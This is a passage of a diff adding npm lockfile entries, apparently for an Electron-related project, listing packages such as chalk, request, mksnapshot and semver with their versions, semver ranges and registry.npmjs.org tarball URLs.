++ "from": "brace-expansion@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.6.tgz"
++ },
++ "buffers": {
++ "version": "0.1.1",
++ "from": "buffers@>=0.1.1 <0.2.0",
++ "resolved": "https://registry.npmjs.org/buffers/-/buffers-0.1.1.tgz"
++ },
++ "builtin-modules": {
++ "version": "1.1.1",
++ "from": "builtin-modules@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-1.1.1.tgz"
++ },
++ "camelcase": {
++ "version": "2.1.1",
++ "from": "camelcase@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-2.1.1.tgz"
++ },
++ "camelcase-keys": {
++ "version": "2.1.0",
++ "from": "camelcase-keys@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-2.1.0.tgz"
++ },
++ "caseless": {
++ "version": "0.11.0",
++ "from": "caseless@>=0.11.0 <0.12.0",
++ "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.11.0.tgz"
++ },
++ "chainsaw": {
++ "version": "0.1.0",
++ "from": "chainsaw@>=0.1.0 <0.2.0",
++ "resolved": "https://registry.npmjs.org/chainsaw/-/chainsaw-0.1.0.tgz"
++ },
++ "chalk": {
++ "version": "1.1.3",
++ "from": "chalk@>=1.1.1 <2.0.0",
++ "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz"
++ },
++ "chromium-pickle-js": {
++ "version": "0.1.0",
++ "from": "chromium-pickle-js@>=0.1.0 <0.2.0",
++ "resolved": "https://registry.npmjs.org/chromium-pickle-js/-/chromium-pickle-js-0.1.0.tgz"
++ },
++ "combined-stream": {
++ "version": "1.0.5",
++ "from": "combined-stream@>=1.0.5 <1.1.0",
++ "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.5.tgz"
++ },
++ "commander": {
++ "version": "2.9.0",
++ "from": "commander@>=2.9.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/commander/-/commander-2.9.0.tgz"
++ },
++ "concat-map": {
++ "version": "0.0.1",
++ "from": "concat-map@0.0.1",
++ "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz"
++ },
++ "concat-stream": {
++ "version": "1.5.0",
++ "from": "concat-stream@1.5.0",
++ "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.5.0.tgz",
++ "dependencies": {
++ "isarray": {
++ "version": "1.0.0",
++ "from": "isarray@>=1.0.0 <1.1.0",
++ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz"
++ },
++ "readable-stream": {
++ "version": "2.0.6",
++ "from": "readable-stream@>=2.0.0 <2.1.0",
++ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.0.6.tgz"
++ }
++ }
++ },
++ "core-util-is": {
++ "version": "1.0.2",
++ "from": "core-util-is@>=1.0.0 <1.1.0",
++ "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz"
++ },
++ "cryptiles": {
++ "version": "2.0.5",
++ "from": "cryptiles@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/cryptiles/-/cryptiles-2.0.5.tgz"
++ },
++ "ctype": {
++ "version": "0.5.3",
++ "from": "ctype@0.5.3",
++ "resolved": "https://registry.npmjs.org/ctype/-/ctype-0.5.3.tgz"
++ },
++ "cuint": {
++ "version": "0.2.2",
++ "from": "cuint@>=0.2.1 <0.3.0",
++ "resolved": "https://registry.npmjs.org/cuint/-/cuint-0.2.2.tgz"
++ },
++ "currently-unhandled": {
++ "version": "0.4.1",
++ "from": "currently-unhandled@>=0.4.1 <0.5.0",
++ "resolved": "https://registry.npmjs.org/currently-unhandled/-/currently-unhandled-0.4.1.tgz"
++ },
++ "dashdash": {
++ "version": "1.14.0",
++ "from": "dashdash@>=1.12.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.0.tgz",
++ "dependencies": {
++ "assert-plus": {
++ "version": "1.0.0",
++ "from": "assert-plus@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz"
++ }
++ }
++ },
++ "debug": {
++ "version": "2.2.0",
++ "from": "debug@>=2.2.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/debug/-/debug-2.2.0.tgz"
++ },
++ "decamelize": {
++ "version": "1.2.0",
++ "from": "decamelize@>=1.1.2 <2.0.0",
++ "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz"
++ },
++ "decompress-zip": {
++ "version": "0.3.0",
++ "from": "decompress-zip@0.3.0",
++ "resolved": "https://registry.npmjs.org/decompress-zip/-/decompress-zip-0.3.0.tgz"
++ },
++ "deep-extend": {
++ "version": "0.4.1",
++ "from": "deep-extend@>=0.4.0 <0.5.0",
++ "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.4.1.tgz"
++ },
++ "delayed-stream": {
++ "version": "1.0.0",
++ "from": "delayed-stream@>=1.0.0 <1.1.0",
++ "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz"
++ },
++ "ecc-jsbn": {
++ "version": "0.1.1",
++ "from": "ecc-jsbn@>=0.1.1 <0.2.0",
++ "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.1.tgz"
++ },
++ "electron-download": {
++ "version": "2.1.2",
++ "from": "electron-download@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/electron-download/-/electron-download-2.1.2.tgz"
++ },
++ "error-ex": {
++ "version": "1.3.0",
++ "from": "error-ex@>=1.2.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.0.tgz"
++ },
++ "escape-string-regexp": {
++ "version": "1.0.5",
++ "from": "escape-string-regexp@>=1.0.2 <2.0.0",
++ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz"
++ },
++ "extend": {
++ "version": "3.0.0",
++ "from": "extend@>=3.0.0 <3.1.0",
++ "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.0.tgz"
++ },
++ "extract-zip": {
++ "version": "1.5.0",
++ "from": "extract-zip@>=1.0.3 <2.0.0",
++ "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-1.5.0.tgz",
++ "dependencies": {
++ "debug": {
++ "version": "0.7.4",
++ "from": "debug@0.7.4",
++ "resolved": "https://registry.npmjs.org/debug/-/debug-0.7.4.tgz"
++ },
++ "minimist": {
++ "version": "0.0.8",
++ "from": "minimist@0.0.8",
++ "resolved": "https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz"
++ },
++ "mkdirp": {
++ "version": "0.5.0",
++ "from": "mkdirp@0.5.0",
++ "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.0.tgz"
++ }
++ }
++ },
++ "extsprintf": {
++ "version": "1.0.2",
++ "from": "extsprintf@1.0.2",
++ "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.0.2.tgz"
++ },
++ "fd-slicer": {
++ "version": "1.0.1",
++ "from": "fd-slicer@>=1.0.1 <1.1.0",
++ "resolved": "https://registry.npmjs.org/fd-slicer/-/fd-slicer-1.0.1.tgz"
++ },
++ "find-up": {
++ "version": "1.1.2",
++ "from": "find-up@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz",
++ "dependencies": {
++ "path-exists": {
++ "version": "2.1.0",
++ "from": "path-exists@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz"
++ }
++ }
++ },
++ "forever-agent": {
++ "version": "0.6.1",
++ "from": "forever-agent@>=0.6.1 <0.7.0",
++ "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz"
++ },
++ "form-data": {
++ "version": "1.0.1",
++ "from": "form-data@>=1.0.0-rc4 <1.1.0",
++ "resolved": "https://registry.npmjs.org/form-data/-/form-data-1.0.1.tgz"
++ },
++ "fs-extra": {
++ "version": "0.26.7",
++ "from": "fs-extra@>=0.26.7 <0.27.0",
++ "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-0.26.7.tgz"
++ },
++ "generate-function": {
++ "version": "2.0.0",
++ "from": "generate-function@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/generate-function/-/generate-function-2.0.0.tgz"
++ },
++ "generate-object-property": {
++ "version": "1.2.0",
++ "from": "generate-object-property@>=1.1.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/generate-object-property/-/generate-object-property-1.2.0.tgz"
++ },
++ "get-stdin": {
++ "version": "4.0.1",
++ "from": "get-stdin@>=4.0.1 <5.0.0",
++ "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-4.0.1.tgz"
++ },
++ "getpass": {
++ "version": "0.1.6",
++ "from": "getpass@>=0.1.1 <0.2.0",
++ "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.6.tgz",
++ "dependencies": {
++ "assert-plus": {
++ "version": "1.0.0",
++ "from": "assert-plus@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz"
++ }
++ }
++ },
++ "glob": {
++ "version": "6.0.4",
++ "from": "glob@>=6.0.1 <7.0.0",
++ "resolved": "https://registry.npmjs.org/glob/-/glob-6.0.4.tgz"
++ },
++ "graceful-fs": {
++ "version": "4.1.6",
++ "from": "graceful-fs@>=4.1.2 <5.0.0",
++ "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.1.6.tgz"
++ },
++ "graceful-readlink": {
++ "version": "1.0.1",
++ "from": "graceful-readlink@>=1.0.0",
++ "resolved": "https://registry.npmjs.org/graceful-readlink/-/graceful-readlink-1.0.1.tgz"
++ },
++ "har-validator": {
++ "version": "2.0.6",
++ "from": "har-validator@>=2.0.6 <2.1.0",
++ "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-2.0.6.tgz"
++ },
++ "has-ansi": {
++ "version": "2.0.0",
++ "from": "has-ansi@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz"
++ },
++ "hawk": {
++ "version": "3.1.3",
++ "from": "hawk@>=3.1.3 <3.2.0",
++ "resolved": "https://registry.npmjs.org/hawk/-/hawk-3.1.3.tgz"
++ },
++ "hoek": {
++ "version": "2.16.3",
++ "from": "hoek@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/hoek/-/hoek-2.16.3.tgz"
++ },
++ "home-path": {
++ "version": "1.0.3",
++ "from": "home-path@>=1.0.1 <2.0.0",
++ "resolved": "https://registry.npmjs.org/home-path/-/home-path-1.0.3.tgz"
++ },
++ "hosted-git-info": {
++ "version": "2.1.5",
++ "from": "hosted-git-info@>=2.1.4 <3.0.0",
++ "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.1.5.tgz"
++ },
++ "http-signature": {
++ "version": "1.1.1",
++ "from": "http-signature@>=1.1.0 <1.2.0",
++ "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.1.1.tgz"
++ },
++ "indent-string": {
++ "version": "2.1.0",
++ "from": "indent-string@>=2.1.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-2.1.0.tgz"
++ },
++ "inflight": {
++ "version": "1.0.5",
++ "from": "inflight@>=1.0.4 <2.0.0",
++ "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.5.tgz"
++ },
++ "inherits": {
++ "version": "2.0.1",
++ "from": "inherits@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.1.tgz"
++ },
++ "ini": {
++ "version": "1.3.4",
++ "from": "ini@>=1.3.0 <1.4.0",
++ "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.4.tgz"
++ },
++ "is-arrayish": {
++ "version": "0.2.1",
++ "from": "is-arrayish@>=0.2.1 <0.3.0",
++ "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz"
++ },
++ "is-builtin-module": {
++ "version": "1.0.0",
++ "from": "is-builtin-module@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/is-builtin-module/-/is-builtin-module-1.0.0.tgz"
++ },
++ "is-finite": {
++ "version": "1.0.1",
++ "from": "is-finite@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/is-finite/-/is-finite-1.0.1.tgz"
++ },
++ "is-my-json-valid": {
++ "version": "2.13.1",
++ "from": "is-my-json-valid@>=2.12.4 <3.0.0",
++ "resolved": "https://registry.npmjs.org/is-my-json-valid/-/is-my-json-valid-2.13.1.tgz",
++ "dependencies": {
++ "xtend": {
++ "version": "4.0.1",
++ "from": "xtend@>=4.0.0 <5.0.0",
++ "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.1.tgz"
++ }
++ }
++ },
++ "is-property": {
++ "version": "1.0.2",
++ "from": "is-property@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/is-property/-/is-property-1.0.2.tgz"
++ },
++ "is-typedarray": {
++ "version": "1.0.0",
++ "from": "is-typedarray@>=1.0.0 <1.1.0",
++ "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz"
++ },
++ "is-utf8": {
++ "version": "0.2.1",
++ "from": "is-utf8@>=0.2.0 <0.3.0",
++ "resolved": "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz"
++ },
++ "isarray": {
++ "version": "0.0.1",
++ "from": "isarray@0.0.1",
++ "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz"
++ },
++ "isstream": {
++ "version": "0.1.2",
++ "from": "isstream@>=0.1.2 <0.2.0",
++ "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz"
++ },
++ "jodid25519": {
++ "version": "1.0.2",
++ "from": "jodid25519@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/jodid25519/-/jodid25519-1.0.2.tgz"
++ },
++ "jsbn": {
++ "version": "0.1.0",
++ "from": "jsbn@>=0.1.0 <0.2.0",
++ "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.0.tgz"
++ },
++ "json-schema": {
++ "version": "0.2.2",
++ "from": "json-schema@0.2.2",
++ "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.2.tgz"
++ },
++ "json-stringify-safe": {
++ "version": "5.0.1",
++ "from": "json-stringify-safe@>=5.0.1 <5.1.0",
++ "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz"
++ },
++ "jsonfile": {
++ "version": "2.3.1",
++ "from": "jsonfile@>=2.1.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-2.3.1.tgz"
++ },
++ "jsonpointer": {
++ "version": "2.0.0",
++ "from": "jsonpointer@2.0.0",
++ "resolved": "https://registry.npmjs.org/jsonpointer/-/jsonpointer-2.0.0.tgz"
++ },
++ "jsprim": {
++ "version": "1.3.0",
++ "from": "jsprim@>=1.2.2 <2.0.0",
++ "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.3.0.tgz"
++ },
++ "klaw": {
++ "version": "1.3.0",
++ "from": "klaw@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/klaw/-/klaw-1.3.0.tgz"
++ },
++ "load-json-file": {
++ "version": "1.1.0",
++ "from": "load-json-file@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-1.1.0.tgz"
++ },
++ "lodash": {
++ "version": "4.15.0",
++ "from": "lodash@>=4.8.0 <5.0.0",
++ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.15.0.tgz"
++ },
++ "lodash._reinterpolate": {
++ "version": "3.0.0",
++ "from": "lodash._reinterpolate@>=3.0.0 <3.1.0",
++ "resolved": "https://registry.npmjs.org/lodash._reinterpolate/-/lodash._reinterpolate-3.0.0.tgz"
++ },
++ "lodash.template": {
++ "version": "4.4.0",
++ "from": "lodash.template@>=4.2.2 <5.0.0",
++ "resolved": "https://registry.npmjs.org/lodash.template/-/lodash.template-4.4.0.tgz"
++ },
++ "lodash.templatesettings": {
++ "version": "4.1.0",
++ "from": "lodash.templatesettings@>=4.0.0 <5.0.0",
++ "resolved": "https://registry.npmjs.org/lodash.templatesettings/-/lodash.templatesettings-4.1.0.tgz"
++ },
++ "loud-rejection": {
++ "version": "1.6.0",
++ "from": "loud-rejection@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/loud-rejection/-/loud-rejection-1.6.0.tgz"
++ },
++ "map-obj": {
++ "version": "1.0.1",
++ "from": "map-obj@>=1.0.1 <2.0.0",
++ "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-1.0.1.tgz"
++ },
++ "meow": {
++ "version": "3.7.0",
++ "from": "meow@>=3.1.0 <4.0.0",
++ "resolved": "https://registry.npmjs.org/meow/-/meow-3.7.0.tgz"
++ },
++ "mime-db": {
++ "version": "1.23.0",
++ "from": "mime-db@>=1.23.0 <1.24.0",
++ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.23.0.tgz"
++ },
++ "mime-types": {
++ "version": "2.1.11",
++ "from": "mime-types@>=2.1.7 <2.2.0",
++ "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.11.tgz"
++ },
++ "minimatch": {
++ "version": "3.0.3",
++ "from": "minimatch@>=2.0.0 <3.0.0||>=3.0.0 <4.0.0",
++ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.3.tgz"
++ },
++ "minimist": {
++ "version": "1.2.0",
++ "from": "minimist@>=1.2.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.0.tgz"
++ },
++ "mkdirp": {
++ "version": "0.5.1",
++ "from": "mkdirp@>=0.5.0 <0.6.0",
++ "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz",
++ "dependencies": {
++ "minimist": {
++ "version": "0.0.8",
++ "from": "minimist@0.0.8",
++ "resolved": "https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz"
++ }
++ }
++ },
++ "mkpath": {
++ "version": "0.1.0",
++ "from": "mkpath@>=0.1.0 <0.2.0",
++ "resolved": "https://registry.npmjs.org/mkpath/-/mkpath-0.1.0.tgz"
++ },
++ "mksnapshot": {
++ "version": "0.3.0",
++ "from": "mksnapshot@>=0.3.0 <0.4.0",
++ "resolved": "https://registry.npmjs.org/mksnapshot/-/mksnapshot-0.3.0.tgz",
++ "dependencies": {
++ "asn1": {
++ "version": "0.1.11",
++ "from": "asn1@0.1.11",
++ "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.1.11.tgz"
++ },
++ "assert-plus": {
++ "version": "0.1.5",
++ "from": "assert-plus@>=0.1.5 <0.2.0",
++ "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-0.1.5.tgz"
++ },
++ "async": {
++ "version": "0.9.2",
++ "from": "async@>=0.9.0 <0.10.0",
++ "resolved": "https://registry.npmjs.org/async/-/async-0.9.2.tgz"
++ },
++ "aws-sign2": {
++ "version": "0.5.0",
++ "from": "aws-sign2@>=0.5.0 <0.6.0",
++ "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.5.0.tgz"
++ },
++ "bl": {
++ "version": "0.9.5",
++ "from": "bl@>=0.9.0 <0.10.0",
++ "resolved": "https://registry.npmjs.org/bl/-/bl-0.9.5.tgz"
++ },
++ "bluebird": {
++ "version": "2.10.2",
++ "from": "bluebird@>=2.9.30 <3.0.0",
++ "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-2.10.2.tgz"
++ },
++ "caseless": {
++ "version": "0.9.0",
++ "from": "caseless@>=0.9.0 <0.10.0",
++ "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.9.0.tgz"
++ },
++ "combined-stream": {
++ "version": "0.0.7",
++ "from": "combined-stream@>=0.0.5 <0.1.0",
++ "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-0.0.7.tgz"
++ },
++ "delayed-stream": {
++ "version": "0.0.5",
++ "from": "delayed-stream@0.0.5",
++ "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-0.0.5.tgz"
++ },
++ "form-data": {
++ "version": "0.2.0",
++ "from": "form-data@>=0.2.0 <0.3.0",
++ "resolved": "https://registry.npmjs.org/form-data/-/form-data-0.2.0.tgz"
++ },
++ "har-validator": {
++ "version": "1.8.0",
++ "from": "har-validator@>=1.4.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-1.8.0.tgz"
++ },
++ "hawk": {
++ "version": "2.3.1",
++ "from": "hawk@>=2.3.0 <2.4.0",
++ "resolved": "https://registry.npmjs.org/hawk/-/hawk-2.3.1.tgz"
++ },
++ "http-signature": {
++ "version": "0.10.1",
++ "from": "http-signature@>=0.10.0 <0.11.0",
++ "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-0.10.1.tgz"
++ },
++ "mime-db": {
++ "version": "1.12.0",
++ "from": "mime-db@>=1.12.0 <1.13.0",
++ "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.12.0.tgz"
++ },
++ "mime-types": {
++ "version": "2.0.14",
++ "from": "mime-types@>=2.0.1 <2.1.0",
++ "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.0.14.tgz"
++ },
++ "oauth-sign": {
++ "version": "0.6.0",
++ "from": "oauth-sign@>=0.6.0 <0.7.0",
++ "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.6.0.tgz"
++ },
++ "qs": {
++ "version": "2.4.2",
++ "from": "qs@>=2.4.0 <2.5.0",
++ "resolved": "https://registry.npmjs.org/qs/-/qs-2.4.2.tgz"
++ },
++ "readable-stream": {
++ "version": "1.0.34",
++ "from": "readable-stream@>=1.0.26 <1.1.0",
++ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz"
++ },
++ "request": {
++ "version": "2.55.0",
++ "from": "request@2.55.0",
++ "resolved": "https://registry.npmjs.org/request/-/request-2.55.0.tgz"
++ }
++ }
++ },
++ "ms": {
++ "version": "0.7.1",
++ "from": "ms@0.7.1",
++ "resolved": "https://registry.npmjs.org/ms/-/ms-0.7.1.tgz"
++ },
++ "mv": {
++ "version": "2.1.1",
++ "from": "mv@>=2.0.3 <3.0.0",
++ "resolved": "https://registry.npmjs.org/mv/-/mv-2.1.1.tgz"
++ },
++ "ncp": {
++ "version": "2.0.0",
++ "from": "ncp@>=2.0.0 <2.1.0",
++ "resolved": "https://registry.npmjs.org/ncp/-/ncp-2.0.0.tgz"
++ },
++ "node-uuid": {
++ "version": "1.4.7",
++ "from": "node-uuid@>=1.4.7 <1.5.0",
++ "resolved": "https://registry.npmjs.org/node-uuid/-/node-uuid-1.4.7.tgz"
++ },
++ "nopt": {
++ "version": "3.0.6",
++ "from": "nopt@>=3.0.1 <4.0.0",
++ "resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz"
++ },
++ "normalize-package-data": {
++ "version": "2.3.5",
++ "from": "normalize-package-data@>=2.3.4 <3.0.0",
++ "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.3.5.tgz"
++ },
++ "nugget": {
++ "version": "1.6.2",
++ "from": "nugget@>=1.5.1 <2.0.0",
++ "resolved": "https://registry.npmjs.org/nugget/-/nugget-1.6.2.tgz"
++ },
++ "number-is-nan": {
++ "version": "1.0.0",
++ "from": "number-is-nan@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.0.tgz"
++ },
++ "oauth-sign": {
++ "version": "0.8.2",
++ "from": "oauth-sign@>=0.8.1 <0.9.0",
++ "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.8.2.tgz"
++ },
++ "object-assign": {
++ "version": "4.1.0",
++ "from": "object-assign@>=4.0.1 <5.0.0",
++ "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.0.tgz"
++ },
++ "object-keys": {
++ "version": "0.4.0",
++ "from": "object-keys@>=0.4.0 <0.5.0",
++ "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-0.4.0.tgz"
++ },
++ "once": {
++ "version": "1.3.3",
++ "from": "once@>=1.3.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/once/-/once-1.3.3.tgz"
++ },
++ "os-tmpdir": {
++ "version": "1.0.1",
++ "from": "os-tmpdir@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.1.tgz"
++ },
++ "parse-json": {
++ "version": "2.2.0",
++ "from": "parse-json@>=2.2.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz"
++ },
++ "path-exists": {
++ "version": "1.0.0",
++ "from": "path-exists@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-1.0.0.tgz"
++ },
++ "path-is-absolute": {
++ "version": "1.0.0",
++ "from": "path-is-absolute@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.0.tgz"
++ },
++ "path-type": {
++ "version": "1.1.0",
++ "from": "path-type@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/path-type/-/path-type-1.1.0.tgz"
++ },
++ "pend": {
++ "version": "1.2.0",
++ "from": "pend@>=1.2.0 <1.3.0",
++ "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz"
++ },
++ "pify": {
++ "version": "2.3.0",
++ "from": "pify@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz"
++ },
++ "pinkie": {
++ "version": "2.0.4",
++ "from": "pinkie@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz"
++ },
++ "pinkie-promise": {
++ "version": "2.0.1",
++ "from": "pinkie-promise@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz"
++ },
++ "pretty-bytes": {
++ "version": "1.0.4",
++ "from": "pretty-bytes@>=1.0.2 <2.0.0",
++ "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-1.0.4.tgz"
++ },
++ "process-nextick-args": {
++ "version": "1.0.7",
++ "from": "process-nextick-args@>=1.0.6 <1.1.0",
++ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-1.0.7.tgz"
++ },
++ "progress-stream": {
++ "version": "1.2.0",
++ "from": "progress-stream@>=1.1.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/progress-stream/-/progress-stream-1.2.0.tgz"
++ },
++ "q": {
++ "version": "1.4.1",
++ "from": "q@>=1.1.2 <2.0.0",
++ "resolved": "https://registry.npmjs.org/q/-/q-1.4.1.tgz"
++ },
++ "qs": {
++ "version": "6.2.1",
++ "from": "qs@>=6.2.0 <6.3.0",
++ "resolved": "https://registry.npmjs.org/qs/-/qs-6.2.1.tgz"
++ },
++ "rc": {
++ "version": "1.1.6",
++ "from": "rc@>=1.1.2 <2.0.0",
++ "resolved": "https://registry.npmjs.org/rc/-/rc-1.1.6.tgz"
++ },
++ "read-pkg": {
++ "version": "1.1.0",
++ "from": "read-pkg@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-1.1.0.tgz"
++ },
++ "read-pkg-up": {
++ "version": "1.0.1",
++ "from": "read-pkg-up@>=1.0.1 <2.0.0",
++ "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-1.0.1.tgz"
++ },
++ "readable-stream": {
++ "version": "1.1.14",
++ "from": "readable-stream@>=1.1.9 <1.2.0",
++ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz"
++ },
++ "redent": {
++ "version": "1.0.0",
++ "from": "redent@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/redent/-/redent-1.0.0.tgz"
++ },
++ "repeating": {
++ "version": "2.0.1",
++ "from": "repeating@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/repeating/-/repeating-2.0.1.tgz"
++ },
++ "request": {
++ "version": "2.74.0",
++ "from": "request@>=2.45.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/request/-/request-2.74.0.tgz"
++ },
++ "rimraf": {
++ "version": "2.4.5",
++ "from": "rimraf@>=2.4.0 <2.5.0",
++ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.4.5.tgz"
++ },
++ "semver": {
++ "version": "5.3.0",
++ "from": "semver@>=2.0.0 <3.0.0||>=3.0.0 <4.0.0||>=4.0.0 <5.0.0||>=5.0.0 <6.0.0",
++ "resolved": "https://registry.npmjs.org/semver/-/semver-5.3.0.tgz"
++ },
++ "signal-exit": {
++ "version": "3.0.0",
++ "from": "signal-exit@>=3.0.0 <4.0.0",
++ "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.0.tgz"
++ },
++ "single-line-log": {
++ "version": "0.4.1",
++ "from": "single-line-log@>=0.4.1 <0.5.0",
++ "resolved": "https://registry.npmjs.org/single-line-log/-/single-line-log-0.4.1.tgz"
++ },
++ "sntp": {
++ "version": "1.0.9",
++ "from": "sntp@>=1.0.0 <2.0.0",
